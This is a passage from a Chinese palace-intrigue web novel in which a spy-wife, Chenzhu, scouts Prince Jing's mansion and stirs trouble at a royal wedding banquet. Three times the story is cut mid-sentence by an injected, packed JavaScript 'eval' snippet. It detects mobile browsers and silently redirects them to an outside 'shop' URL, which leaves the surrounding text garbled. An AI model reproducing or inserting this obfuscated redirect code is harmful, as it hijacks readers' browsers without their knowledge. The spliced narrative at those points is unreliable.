“我其实不善做纸鸢，幼时都是兄长将纸鸢做好供我放着玩。“ 天色渐暗，放完纸鸢的霍任芙坐在沉竹身侧，如是说道。 “夫君幼时常带芙儿去放纸鸢？” “只我一人放，兄长常在一旁看着。”霍任芙看向眼前的景色，像是在回忆着什么，“后来兄长每次出征前，总会为我缠好一只又一只的纸鸢。嫂嫂今日也知晓了，我放纸鸢的技法极差，那些纸鸢在我手中总是待不上些时日。“ “再后来呢？” “再后来，兄长事忙，便不再给我缠纸鸢了。我便自己试着做纸鸢，可我也尝试过多次，结果还是像嫂嫂看到的这般。”霍任芙的眼中闪过一抹失落，但她的失落总是消逝得很快，“好在！现下有嫂嫂为我缠纸鸢，嫂嫂陪我放纸鸢了。” 看着霍任芙的笑颜，沉竹的心情不知不觉间也欢喜起来。 “天色不早了，你我该归家了。” “好，同嫂嫂一并归家，我心中也欢喜。对了，嫂嫂今日所簪的银簪是从何处买得？好看极了。嫂嫂好似很是喜爱竹。” “竹的寓意极好，我便偏爱了些。好了，天色暗了，路便不好走了，你我快些走，莫让夫君在家中等得急了。” “诶，兄长近来事忙，只怕是你我归家后，他还未归来。” 如霍任芙所说那般，霍间重比她们更晚归家。 坐在窗前的沉竹心境却不如夜色那般沉静。 从香囊再到今日的银簪，她意识到，霍任芙心细如发，今后要比以往更加谨慎才行。 23. 辨情 西市，是燕京城内最为热闹的一处集市。 整座燕京城中最时新的布匹，最精巧的瓷器，最雅致的草木都可在此处寻见踪迹。 可这些铺子的生意在近几日都不及一间干果铺子。 这干果铺子在城中开了也有些时日，生意一直不温不火，近日新推出的糖炒花生得了京中大多数人的喜爱，不少人都前来购买。 今日铺子的生意也依旧火爆，穿着朴素的沉竹和沁菊在人群之中，等着店家将新一轮的花生炒好，倒入容器，再将那花生一一打包好，同身前排着的买者钱货两讫。 “此间生意好极了，怕是要等上一会儿了，夫人不如先行回府，奴替夫人在此排着？” “我若是回去了，那字条上的任务我又该如何向你问清？”沉竹目视前方的人群，同身边站着的沁菊说道。 “夫人莫要着急，此处人多，待将这花生取回，夫人不如找间茶楼，边喝着茶，边听奴将此事细细道来。” “罢了，便依你所言。” 沉竹本意选在街道人声鼎沸之处便是存了无人在意她与沁菊言语的意，可她不曾料到此间铺子生意如此之好，现下前后都贴着人，说些什么也的确不甚方便。 等前面人群慢吞吞地减少，沉竹和沁菊总算是走进了铺子，挑选了几样东西后便匆匆离去，去到京中的一处茶楼之中。 二人在茶楼的一处雅间落座，点上一盏茶后，才逐步进入了正题。 此处雅间将茶楼中的喧哗隔绝，只能听得到窗外楼下人群的走动与街边摊贩的叫卖。 沉竹今日特地将衣服选得普通，也并未让沁菊再穿着府中侍者的衣服，身着常服同她上街来，现下二人坐在一处倒也不显得突兀。 “夫人有何要问的，现下可一并向奴问出。”沁菊端起茶杯，在第一口茶入嘴前，开启了话匣。 “自是先要将任务问清，日后才好行事。你要拿景王府中的什么东西，还是要杀景王府中的什么人？” “夫人的话问得凌厉，但要说杀人未免也太过了，那毕竟是王爷府邸，不那么好闯。奴得到消息，兆国南部边境即将开战，景王在朝堂之上请命亲临督战，那南部边境城池的布防与换防已然编写成册，送到了景王府邸之上。” “你想要我去拿到此物？” “怎会？奴时刻替夫人着想，怎会让夫人觉得为难？夫人只需将王府中有几间房、几个人摸清，然后再告知于奴便好。”沁菊说罢将倒好的茶推至沉竹面前，语气谄媚地说道，“夫人喝茶，莫要与奴说旁的事忘了此行的要事。” “你我既寻常布衣在此，又何必尊我为夫人，你为奴婢？”沉竹冷着脸接过沁菊推向自己面前的茶杯，饮了其中茶水。 “夫人说得是，奴只是怕夫人在霍府日久忘了自己该干些什么。方才听上茶的人说，这是从松溪地界新购来的白毫银针，棉柔清爽，极为适合夏天饮用。夫人尝后感觉如何？” “我只是想先安稳过些日子，再想这些事务。不似你这般，早早地便得到解药，开始行事。”沉竹将手中的茶杯重新放到桌面之上，接着问道，“你准备选何日动手？” “自是近来城中最热闹之时。” “二皇子的婚事？” “夫人聪慧。” “你可知近日霍间重在忙些什么？” “夫人只管将东西给我便是，其余我自会斟酌考量。” 见她不在意，沉竹也无心提醒，赋凌司既重新启用，没了一个还会有下一个补上来，于她而言最重要的是保全自己。 “对了，那日夫人去宫中赴宴，还要请夫人捅出些事情来，将宫中局面搅得乱些，奴也更好行事。” “你说得倒是容易，我从何处寻事将局面扰乱？” “四角城墙将那群人围住，事情无需人挑起自会跑到夫人跟前来。” 沉竹浅笑了几声回应。 “夫人可还有要问的？今日归府之后，奴还要同沁兰姐姐一起，将新买来的这些干果整理分次，往每个屋中摆上一盘才好。”说罢，沁菊便要起身离去。 “你为何要杀褚盈？” 沉竹的话拦住了沁菊的动作，她重新坐下，神色自如地说道：“她那日看到了我，她便该死。夫人也曾在南边待过多年，不会连这些道理都不知晓。” “那你为何给我递了解药，却不给…” “给谁？那王府侍女？”沁菊猜到了她心中所想，先一步打断了她的话，“燕京城内的每一个赋凌司人，只要还活着的，我都送了解药，至于将解药送到之后，他们是否服下，那便不是我要管的事了。若她那人还活着，此事也轮不到夫人来做。天色不早了，夫人该同奴一道回府了。” 回府之后，沉竹叫来沁兰，让她去写一封拜帖递到景王府上。 沁兰前脚刚出去，后脚霍间重就走进了房中。 “去景王府所为何事？” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13573289|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “宫中递来了帖子，我总是想在宫中表现得好些，便想着王妃娘娘人和善，可教我些宫中的礼仪，也知晓些注意。”沉竹言语间笑得坦然，让人无法生疑，“对了，芙儿也要同我一起去，夫君可觉得有什么不妥？” “无甚不妥，你同霍任芙去便是。” “夫君在廷正监的事可处理完了？一连几日难见夫君身影，我总是牵挂的。”说着，沉竹走至霍间重身后，轻轻为他揉捏着肩颈。 “嗯，处理地差不多了。”霍间重闭上眼，含糊地答道。 “这婚事将近，我心中不知怎得，总有些不安。” “如何不安？”霍间重摸住沉竹搭在自己肩颈上的手，将她牵着坐至自己对面。 “一来是我受城中流言困扰，二来则是有关皇子妃一事。” “皇子妃何事？”霍间重边说边将沉竹额前的碎发捋至耳后。 “夫君在东边平乱之时，我曾去城外的拂尘寺为夫君祈福，在那处我曾偶遇了这位准皇子妃。” “哦？杨谣去了拂尘寺？她那等秉性之人怎会去往此处？” “夫君知道杨家小姐？” “若连这些我都不知晓，我如何当得这个廷正监监副。”霍间重浅笑着，将沉竹抱入自己的怀中。 “我几次去赴城中宴席，便也知晓杨小姐此人，那日我在拂尘寺见到杨小姐，当下便是和夫君这般，疑惑着杨小姐怎会来拂尘寺祈愿。” “宫中事之琐碎烦心，你我怕是难以想象，婚期将近，她去拂尘寺兴许是去祈愿婚姻美满，夫人不必为此忧心。” “夫君说得在理，是我多心了。” 沉竹本想以此为口子，试着向霍间重打探些宫中秘辛，但现下看来，是无果了。 “对了，夫君身上的伤可好些了？”沉竹将话题转了边，手拂上了霍间重的衣襟，似是要拉开察看一番。 “夫人不必为我担心。”霍间重一手将沉竹在他衣边的手握住，温声道，“此去东边未添新伤，先前的旧伤也已好的差不多，只是疤痕看着骇人了些。” “如此便好。”沉竹听后装作羞涩地将头埋到了霍间重肩上。 经由霍间重提醒，沉竹今日才意识到，自他从东边归来，自己好像从未关心过他此行是否受伤，战乱是否艰险难平。 “不过夫人刚才那些话倒是提醒了我，夫人先前去拂尘寺时，除去杨谣，可还有遇见些奇怪的人？” 24. 王府 廷正监这几日加大了搜查力度，也得出些结果来。 先前王府中死去的侍女润夏，生前曾多次前往城外的拂尘寺。廷正监派人去拂尘寺挨个搜查询问，终是得出些线索来。 寺中负责洒扫和看管后山的小僧向廷正监中人吐露道，这王府侍女凡来拂尘寺便必要上后山看景，他一次上后山小亭扫去落叶之时，曾看到此侍女与一戴着白色帷帽的女子谈话。 但每日来往拂尘寺人多，戴着帷帽的女子也不是少数，让他说出些更细致的来，也是没有了。 霍间重今日刚在廷正监狱听到了手下人向陈年汇报此消息，归家之后便又听到家中夫人谈及此事。 兴许在夫人口中能知晓些蛛丝马迹。 抱着这样的想法，霍间重将先前那些隐去，只同沉竹说道城外拂尘寺失窃，近日在搜寻盗贼，得知她此前去过拂尘寺，便想着问问。 说者无意，听者有心。 沉竹即刻便意识到此事并非如此简单。拂尘寺近来听说的确有东西被盗，可盗窃之事怎能落到霍间重任职的廷正监上来？ “我去拂尘寺时，一心想着为夫君祈福，便只对进出庙堂的人有些印象。” 沉竹说完停顿了半晌，状作在思考。 “那进出庙堂的人，我细细想了想无甚奇怪之处。没能帮得上夫君。” “无妨，不过小事，夫人无需为此挂怀。”霍间重含糊地说着，从沉竹的耳后细细吻至后颈处。 沉竹察觉到了霍间重的意图，转头问向他：“可要让沁兰她们打些热水来？“ “不必，晚些时候我还要出去一趟，只是有些累了。“说罢，霍间重停下了动作，将头靠在沉竹的肩上。 感受到身上的重量，沉竹用手轻轻抚上霍间重的脸侧，柔声说道：“夫君劳累，便好好歇歇。” 霍间重似是在沉竹的肩头睡着了，声音模糊地答：“嗯。” 一阵风过，窗外嫩绿的柳条交错着沙沙作响，轻轻拂入人心，将院中那一池原本清净的湖水搅得慌乱。 拜访王妃的那日，天朗气清，沉竹同霍任芙乘着马车前去王府，沁兰和霍任芙的两个侍女跟随在马车身侧。 上次随霍间重来王府时，沉竹怀着心事，有印象的便只有婉转雅致的亭廊和精巧用心的后院。她要借此机会将王府中布置摸清，并在纸上默下来，交予沁菊。 燕京城内的路坦而平，街道之上像是被人特意清扫过，连一粒阻碍马车向前行进的石子都不曾出现。 沉竹与霍任芙在车中安稳地坐着，不时闲聊，路程便过得很快，不一会儿便抵达了景王府。 守在王府门前的下人一早便收到了通知，见拾级而上的二人并未过多询问，只通晓名姓之后便将府门打开，让二人进入了王府。 王府中的侍女来引二人抵达沉竹熟悉的后院之中，王妃便等在院内的一角亭台之上。 “参见王妃娘娘。”沉竹与霍任芙一前一后地行礼，拜见景王妃。 “快快请起。”薛祁微微站起，扶着为首的沉竹的双臂起身。 “王妃，这是舍妹，名任芙，单字一个黎，王妃想如何称呼都可。” 听过沉竹的话，霍任芙又轻轻蹲身，向薛祁行礼。 “霍家妹妹不必如此拘谨，今日你随霍夫人来此，便如身在霍家府邸一般。早知二位要来，我特意着人去泡了新得的白茶，让二位同我一道品鉴一二。“ 说着，侍女便端来了茶案，将色清而亮的茶水倒入釉面光滑的茶盏之中。 “多谢王妃款待，自来到京都之后，我便应当来拜见王妃，但被些琐事耽搁，迟迟未来到王府拜谒，是我失礼了。我听闻王妃对制香一事颇有些研究，此次我便带了些自己配好的香，一些供燃的香灰和我亲手缝制的几只香囊，聊表歉意。” 说着，霍任芙命身后站着的侍女将手中备着的礼交给了薛祁的侍女。 “既如此，我便收下了。”薛祁笑着说道，“想不到任芙妹妹对香料还有些研究。” “不过是闲暇时多读了几本书，多去街上的香料铺子逛了逛，王妃谬赞。”霍任芙含笑低下了头。 “霍夫人与任芙妹妹来拜会我，是有何事相商？” “也不是什么要紧事，只是不久之后宫中便要设宴，我虽在去年秋天的那场宴席中有过些历练，可此番毕竟是要紧事，为了不在此等宴席上出错，还望王妃能告知我与芙儿宫中喜宴有何需要注意之处。” “上次宫宴霍夫人十分得体，不必为了城中的流言蜚语妄自菲薄。” “还要多谢王妃夸赞。” “宫中礼仪繁杂，有些地方的确需要多加注意，我同你二人说了，也好安心。” 薛祁的话音落下，正逢一霍任芙身边的侍女上前为二人已空的茶杯倒茶，沉竹看准了时机，装作听王妃讲话听得入神，抬手端起了自己面前正在被倒满温热茶水的茶杯。 茶水顺着沉竹的手臂流到了衣裳之上，将她今日所穿的素色衣衫洇出一片深色的印记来。 倒茶水的侍者当即跪了下来，高声呼道：“是奴失职！” “无妨，是我听王妃娘娘将话听得入神，一时大意。” 薛祁见状低声跟身边侍女吩咐道：“云春，引霍夫人去府中更衣的地方。” 与此同时，霍任芙也让跪在地上的侍女站起，退至身后。 沉竹跟着侍女绕出了后院，途径几个灰瓦矮房，抵达了更衣之处。 “夫人便在此处更衣，我同夫人的侍女在房门处守着，夫人大可安心。” 沉竹推开房门，迅速将湿了的衣衫换下，换上从霍府带来的崭新衣物。这衣物是她亲自整理，因而便故意落下了一根腰间的绦带。 “我腰间的绦带不知忘在了何处，是我大意。沁兰你可识得回去亭台的路？问芙儿可有多带一条来。” 沉竹的声音隔着门传至沁兰的耳畔，沁兰正要回答之时，沉竹再次开口：“劳烦云春姐姐为我家侍女带路。” 只听门外的侍女冷哧一声，原先在门处候着的两个身影便逐一离去。 沉竹再次打开房门，沿相反的方向 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13584121|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 快步离去。 此处离王府的正门不远，恰与沉竹刚刚所在的院落分居正门的两侧。 一侧用作迎宾设宴，一侧用作日常商议枢密。这还是沉竹在先前王府宴席上，从那群贵人们口中奉承王妃的话语里听来的。 霍间重今日离家之时说是与景王相约至廷正监监正陈年家中，现下应当并不在府中。因而此时王府中的守卫并不如同往常那般严苛。 沉竹心中计量着时间，避开巡视的守卫，快步向王府深处探着。 可越往深走，沉竹却越发觉出不对来，自己要躲避的侍卫愈发多了起来，远不似方才躲过的那些守卫寂寥且有规律可循。 景王不是不在府中？沉竹这样想着，可心中也更加激动，这般严密的防守是否意味着，她现下离想要的东西十分接近？ 但到底是在九曲八回的廊间穿梭，不似在檐上穿行那般轻巧。沉竹在一拐角处险些要与巡视的守卫面对面，只得躲进了离她最近的一间房中。 沉竹反应做得匆忙，来不及查看此房中是否有人。 当她听到身后的脚步声时，她下意识地握住了藏在袖中的刀柄，然后慢慢地转过身去。 她无意在王府之中动手杀人，惹出更大的祸患，只是情急之下为了自保，拿防身的刀伤人的借口也算是过得去。 沁兰此时兴许已问得霍任芙是否带了绦带，并从霍任芙处取得，跟着云春返回她之前所在的更衣之处。 时间不允许她再做停留，她靠着身后的门，听着门后守卫从此间经过的脚步声。 待门后脚步的声音逐渐远去，她娇着嗓子，朝屋中的人假模假样的地说道：“何人在此？我心焦在府中迷了路，若是女子在此，可否现身为我指路回到后院？我定重重有赏。” 同一时间，沉竹渐渐推开了身后的门，脚步向外挪着，准备离去。 可那人像是听到沉竹的话做出反应，鞋履与屋内地面碰撞的声响再次出现。 方才屋内屋外脚步声错乱，让人无法分辨。现下，只眼前一个声音，沉竹意识到，与她同在一屋的绝不是女子。 得出结论的同时，沉竹便要出门离去。 但那人的身手极快，即刻便闪至沉竹的身前，并将她打开一半的房门重新关上。 沉竹的反应也毫不逊色，她在那人快速靠近之时，迅即将那藏在袖中的匕首掏出，挡在了胸前。 当那人的面容定格在距沉竹咫尺的眼前，她即刻将手中的匕首放下，面上警惕防备的神情也调整过来，转变为虚惊一场的庆幸，随后又挂上可亲的笑容。 腰间没有绦带的束缚，衣衫的外衣她嫌太过累赘，一早便脱下放在了更衣的地方。照她预想那般，在沁兰去而复返之前便可回到原先所在之处。 方才的跑动让她现下的衣衫有些凌乱，可她无法顾及自己凌乱的衣裳和被自己丢去的外衣，也无法顾忌将要返回的沁兰，她脑中只想着如何将眼前人糊弄过去。 “夫君，怎会在此？” 她还是先开口，试图抓住此荒谬局面的先机。 25. 惊心 “陈年家中临时有事，景王便邀我到了府中。方才可是惊到你了？”霍间重边说边牵起沉竹握着匕首的那只手，指腹来回摩挲着她的手背，安抚着她的心。 “幸好是夫君。不过夫君怎会在此间屋内？此地又是府中何处？” “我与王爷饮茶之时不甚将茶水落到了衣衫之上，便来此处更衣。夫人怎会在此处？” “怎会如此巧？我在后院同王妃娘娘饮茶时，也不甚将茶水倾洒至身上。我本在不在此，可今日带备用的衣裳之时，一时大意将腰间的绦带不知忘在了何处。我叫沁兰帮我去问芙儿去借，可等了半晌，不见人来，我心忧失了礼数，便想着出门看看，可我对王府中布置不甚熟悉，现下看来大抵是走错了方向。我未穿外衣，方才见一众巡视的守卫朝我而来，失了神，便躲到了这间房中。” 沉竹坎坷又自然地说出这番说辞，眼睛直直地看向霍间重，见对面的人将视线下移看向她手中的匕首，她即刻将匕首丢到了地上，随后轻快地说道：“这匕首是我父母给我，叫我用来防身的，而今碰到夫君，便不需要了。” 霍间重却将她丢在地上的匕首重新捡了起来，温声说道：“如何不需要？夫人日后还要拿着防身。” 在霍间重将匕首递至自己手中之时，沉竹心中庆幸着，她今日未将赋凌司的那把匕首带在身边，而是选了此去滁州临走时，赵母交予她手中的匕首用来防身。 “夫君说得在理。”沉竹将匕首重新握在了手中，“不知夫君可否帮我一个忙？” 霍间重听后点点头，示意她接着往下说。 “沁兰现下应当已取来了绦带，不知夫君能否为我将外衣和绦带取来？” “自然。你在此处等我，莫要随意走动。” 说罢，霍间重便出了门，前去为沉竹取来外衣和绦带。 待霍间重走后，沉竹再次出门，不过此次她并未走太远，只是将此屋附近探寻清楚。 屋内没有深色的衣物，只有着白色的外衣和青色的内衬，这显然不是霍间重的衣物。 如此，霍间重刚才的那番说辞便不甚可信。 能让霍间重找借口搪塞于她的，除去廷正监的事宜便是涉及边疆的战事。 此屋绝非是供人更换衣物那般简单。 但沉竹无意去找寻这间屋中是否存在着暗室机关，她心中将界线划得分明，只做自己份内之事，其余的事情该由沁菊来完成。 在霍间重再次回到此处时，沉竹早早地就候在了屋中。 他手中拿着她素色的外衣和一条粉色的绦带。 “芙儿今日备下的衣物看来与我今日备下的衣物有些相像，这绦带刚好与我这身衣衫相称。这样也显得更得体些。多谢夫君为我跑着一遭。” 沉竹说着，从霍间重的手中接过衣物，开始将外衣套在自己身上，将绦带系在自己的腰间。 到底是别人的衣物，沉竹在系腰间的绦带时总是不顺手，一连试了几次都不曾系好。 “可要我帮你？” 不待沉竹回答，霍间重便自顾自地走至她的身后，为她将腰间的绦带系紧。 “夫君可会？” “会一些，幼时曾为霍任芙系过几次。” 说完这句话，霍间重就已系好，重新走至沉竹的身前。 “多谢夫君。” “你不必每日想着如何得体，如何礼数周全。” 沉竹疑惑地看向霍间重。 “有我在，你今后不必时刻绷着弦，我会让你和霍任芙在燕京城中过上安稳日子，不遭受他人冷眼。” “我知晓了。”沉竹缓了一会儿才回应道，“芙儿在后院应当等得急了，我先行一步，夫君今晚可归家？我在家中等着夫君。” “你先去吧，今日归家，大抵又要晚些了。” 沉竹点头答好之后便离去，顺着霍间重为她指的方向返回了后院。 重新回到后院亭台时，霍任芙同薛祁正聊得火热。 看到这一幕的沉竹，在一旁站了很久，没有上前打扰。 一瞬间，她忽地感觉到自己其实不属于这里，她所背负的秘密成为了桎梏，将她困在此处，挪不动脚步。 亭中的二人谈笑着，好似有说不尽的话。沉竹到底还是走上前去，同二人打着招呼，听着霍任芙和薛祁讲着话，自己心中也好似有一部分被剥离。 日色西沉，沉竹同霍任芙乘车从王府离去。 平稳的马车之上，霍任芙像是累极，靠在一侧，闭目养着神，沉竹则在脑海中反复勾勒着自己走过和探得的王府情况。 回到霍府之后，她将脑海中所记得的布置，画在了白纸之上。随后，她唤沁菊进浴房服侍，将图纸交给了沁菊。 “此图倒是画得很是详尽，此次辛苦夫人了。”拿到图纸的沁菊满意地笑了笑。 “解药何时给我？” “一月之后。”沁菊将图纸叠好后放至衣袖之中，“夫人今日为何如此紧张？” “我在王府遇到了霍间重。” “夫人在王府遇到主君应当没什么可奇怪的。”沁菊嘴上这样说着警示沉竹，但手中为沉竹褪下衣衫时还是停顿了一下。 “我遇到他的那间屋子已在图纸上标明了，那间屋子附近定是有些不对的。” “多谢夫人提点。”沁菊边说着边拿起毛巾擦拭着沉竹的身体。 “赋凌司现下是听覃国命令？” “夫人知晓的事又何必问我。” “朱国缘何会覆灭你可知晓？” “内斗，外敌，无非是这些原因。”沁菊笑着回应着沉竹的问题。 “你从何时进入赵家宅院？” “不过比夫人早一些罢了，夫人今日问题很多，可是王府中遇到了什么事？” “无事。”沉竹闭上眼，摇摇头，叹出一口气，像是陷入了犹豫之中。 “你可觉得累过？”背负着一个难言的秘密，她可曾同自己一般觉得无法喘过气。 “不曾。不过是为性命奔波，为何要想得如此复杂？夫人今晚遐思太多，沐浴后便早些安睡吧。” “你先出去吧。” 浴房之内，热气不断升腾，然后在屋中盘旋凝结为水汽落地。 沉竹感受 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13604570|141031||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着池中的热水一点点变凉，她回想起离开赋凌司之时司使曾说与她的话。 “勿要留念，平安归来。” 宫中仪制繁杂，那日薛祁说了许多，沉竹更衣时漏下的内容，归府之后霍任芙也将那些内容一一同她说明。 “王妃娘娘当真是个很好的人，宽和温厚，怡然大方。初到王府我本是有些紧张的。”霍任芙吃着那日沉竹从西市买来的花生，语气轻快地说着。 “王妃敦厚良善，不以出身论高低贵贱，多次宴席之上，她也时时关照我。” “我先前以为燕京城内的大小宴席，必定是要端着架子，揣着心眼，时刻警惕着的。” 沉竹听后，用手摸了摸霍任芙低着的头，“燕京城大，事务也繁杂，但大多数官眷贵人都愿意同外人维持表面的那份体面，你日后不必如此提心吊胆。” “嫂嫂说得对，但一场宴席下来到底还是劳心伤神的，哪怕对面坐着的是王妃娘娘。”霍任芙说完还叹了口气，“还是在家中自在，有嫂嫂陪着我，也不无趣。” “你开心便好。”沉竹笑笑回应道，“我有个问题还望芙儿为我解答。” “什么问题？嫂嫂但说便是。”霍任芙说罢，将手上沾着的花生衣拍了拍，诚挚地看向沉竹。 “不是什么严肃的问题。只是时日久了，我忽地想到当初我与夫君的婚事，我同夫君婚前未曾谋面，只凭着画像和媒人说辞，也不知怎地便拜了天地，随你兄妹二人从滁州搬到了京城。” “兄长常年在外征战，早已过了男子适婚的年纪，此事他不上心，便一直交由我张罗着。滁州城不大，适婚的姑娘也没有多少，我托人拿来了画像，趁着兄长空闲时将画像一一拿到他的面前，他那时忙着连头都抬不起来，只叫我在他耳边将画像中人的家世秉性说了一遍。” “如此，芙儿是如何说得我？”霍任芙言语中的情景，在沉竹的意料之中，她好奇赋凌司是以何种说辞将她送入了霍家门庭，根据现下的情况看来，赵家的财富并不是让霍家兄妹选择她的关键因素。 “我只是如实说了，那时嫂嫂刚被赵家接回来不久，媒人同我说，赵家姑娘寡言少语，性情冷淡，我当时便也是这般同兄长说的。” “那夫君作何反应？” “兄长当时没说些什么，几日之后，我又过去问，兄长手中还拿着公文，口中告知了我嫂嫂的名字。” 寡言少语，性情冷淡，这的确是一年前在赵家门庭内的自己。 沉竹对没有添油加醋的说辞颇有些意外，她本以为会加上些机敏持家的贤良前缀。 “嫂嫂可是还未解惑？我当时也是有些意外，但兄长说了，他就想找个寡言事少的妻子。”霍任芙说完，又拿起一颗花生开始剥去外皮，“不过嫂嫂的性格倒是与那时不尽相同，我也不曾料想到嫂嫂是如此温柔开朗的人。” 是她嫁入霍府之后的性情转变地太快，让他们生疑了吗？沉竹心中控制不住地多想。 “那时我刚到赵家，多有些不适应周遭环境。也不曾想到会遇到夫君和芙儿这般好的人。”沉竹笑着，将过往留下的沉疴试着抚平。 26. 屏风 进宫赴宴那日，三人同乘一车，向王宫的方向驶去。 过了第一道宫门，马车停了下来，沉竹扶着霍间重的手走下车，与同时间来此的官眷们一道，向前走着。 沉竹第一个遇到的便是顾涟涟。 陈年身为廷正监监正，父亲又位列三公，能来参与这样的宴席并不奇怪。 陈年刚下车便同霍间重凑在了一处，沉竹则带着霍任芙上前同一旁单独走着的顾涟涟打着招呼。 “陈夫人近日可过得安好？” “安好。” 看着顾涟涟的笑，不知怎的，沉竹总是觉得这笑有些勉强。 “这便是你口中常提到的芙姑娘吧，今日一见当真是亭亭玉立。” “陈夫人谬赞。”霍任芙微微躬身应下这份赞赏。 天色将沉，王宫内缠绕着红绸的宫灯已被人点亮，沉竹一行在装点喜庆，通敞明亮的大殿落座，隔着案几和屏风，沉竹落座的地方瞧霍间重并不真切。 沉竹依旧与顾涟涟对坐，霍任芙则坐在她的一侧，另一侧坐着的则是在先前宴席之上伤了今日刚办过仪式，成为二皇子妃杨谣的晏钦薇。 沉竹只在刚落座时与她点头见礼，此后便一直未说过话。 仪式在她们来之前便举行过了，一众重臣家眷夜晚入宫不过是讨杯喜酒来喝。 穿戴喜庆又端庄的侍女排成一行，低着头端着木案从正门而入，木案上有清透的白色玉器做成的酒壶，酒壶之上还贴着红色箔纸剪成的喜字。 酒壶落在案几之上时，沉竹身边坐着的晏钦薇却起身从宴席之上离去。 沉竹心中记得那日沁菊说与她的话，留意着这宴席之上每个人的一举一动。 晏钦薇的母亲晏夫人今日告病并未前来赴宴，只晏大人带着女儿来此。 沉竹等了一阵，等侍女将第一盘精致的菜肴端上自己的案几时，见晏钦薇还未回来，便同身边的霍任芙说过之后，起身离开了此处。 晏钦薇走了已有一阵，王宫偌大，想寻其踪迹怕是艰难。沉竹不敢向宫中侍者询问打草惊蛇，只得问了宫中溷轩的位置，试着在沿途能寻到些晏钦薇留下的踪迹。 在她离去的宴席之上，一个穿着廷正监官服的男子进入宫殿，来到了霍间重身边。 “大人，城中已布置好了，只待那人现身。” 霍间重听后不动声色地点了点头，挥挥手叫那人退下。 他抬眸望向屏风之后的女眷席位。 侍女不断进入那处，为各位女眷们布着菜。 可他望着的那处座位却空无一人。 廊间凡是空隙都被红绸和悉心择过的宫灯填满，按序挂着的宫灯在黑暗的门窗之上投射出光亮。 沉竹身上华服的纹样被灯笼中的流转火光映得闪烁，她尽力维持着面上的端庄仪态，快步走着，目光查看着周遭是否留下痕迹。 她先前在席间听得，今日宴席的主人公便在这方向上的一间屋子中装点休憩，待会儿好在众人面前以姣好光彩的容貌出席。 可夜色沉静，沉竹寻不到蛛丝马迹。 走到了这串连廊的最后一个拐角，沉竹不欲再向前行进。 大抵皇子与皇子妃从别处到了宴席之上吧。她估摸着时间，顺着原路返回。依旧行的很快，衣服的布料摩擦出不大声响来。 离宴席之上的喧闹越来越近，沉竹便也不再此事记挂在心上，但一声不合时宜的话从她反复经过的房间传来。 “有人！”那是一道娇媚的女声。 沉竹被声响吸引，她试着贴近那扇传出声音的门窗，才看到其中被宫灯光芒掩盖的闪烁烛火。 她并未止步于此，而是试着打开了那扇房门。 映入眼帘的是重重叠叠的屏风，一眼望去看不到人影，却能听到窸窸窣窣地衣物声响。 沉竹缓慢地绕过了一个屏风，却先一步见到了和她一般穿着华服的人。但她是宾客，蹲坐在又一扇屏风之后，手中拿着烛台，身着红袍的人却是今日宴席上的主角。 杨谣眼含泪水，神色惊恐地看向沉竹。 见到杨谣，沉竹便笃定了这重重屏风之后的二人是谁。 屏风之后的动静没有停止，男女的喘息声交叠地响在二人的耳畔，他们不在意屋内是否有人，又有几个人。 沉竹站着牵起杨谣的手，一只手将她拉了起来。 沉竹看得懂杨谣眼中的情绪，那是一种太过纯粹的愤怒与不堪，她太久没有见识过这样的情绪。 于是，她看着杨谣的眼睛，用另一只手将那眼前碍眼的屏风推倒。 随后，一个个屏风接二连三地倒下，与此同时，沉竹拉起杨谣的手，绕过那仅剩的立着的屏风，打开门离去。 杨谣显然没有反应过来，愣着神被沉竹牵手向前。 踏出门槛行了一小会儿后，沉竹约莫着屋内的屏风已完全倒下，便从背后打晕了杨谣，大喊着：“快来人呐！王妃晕倒了！” 听到声响的宫人从各处赶来，有刚从举办宴席的大殿之上退下来的侍者，也有侍者从沉竹刚刚走过的廊间而来。 此处的消息即刻便传到了宴席之上，率先出现在沉竹面前的是薛祁。 “她，这是怎的了，怎会突然晕了过去。” “我也不知，我从那边溷轩而来，就见到二皇子妃躺在了此处，顾不上其他，便急忙唤人来了。” 见薛祁眉头逐渐沉了下去，神色也变得严肃，沉竹又说道：“可是我此事做得不妥？我摸着二皇子妃发身体有些冰凉，便急忙唤了人来。” “无甚不妥，人命最为重要。”薛祁向面色焦急的沉竹安慰道。 之后，薛祁叫身边人唤来了太医，叫沉竹先回到了宴席之上。 回到宴席上不久，穿戴整齐的晏钦薇也重新坐到了沉竹身边。 宴席如常地进行着，可氛围却不似一开始那般平静和乐。 在场的人大多未离开过宴席一刻，但不时在王后耳边递话的宫人和迟迟未现身的皇子皇妃已不知不觉地将席间的氛围改变。 薛祁宴席快要结束之时重新归来，跟在她身后的正是一对新人。 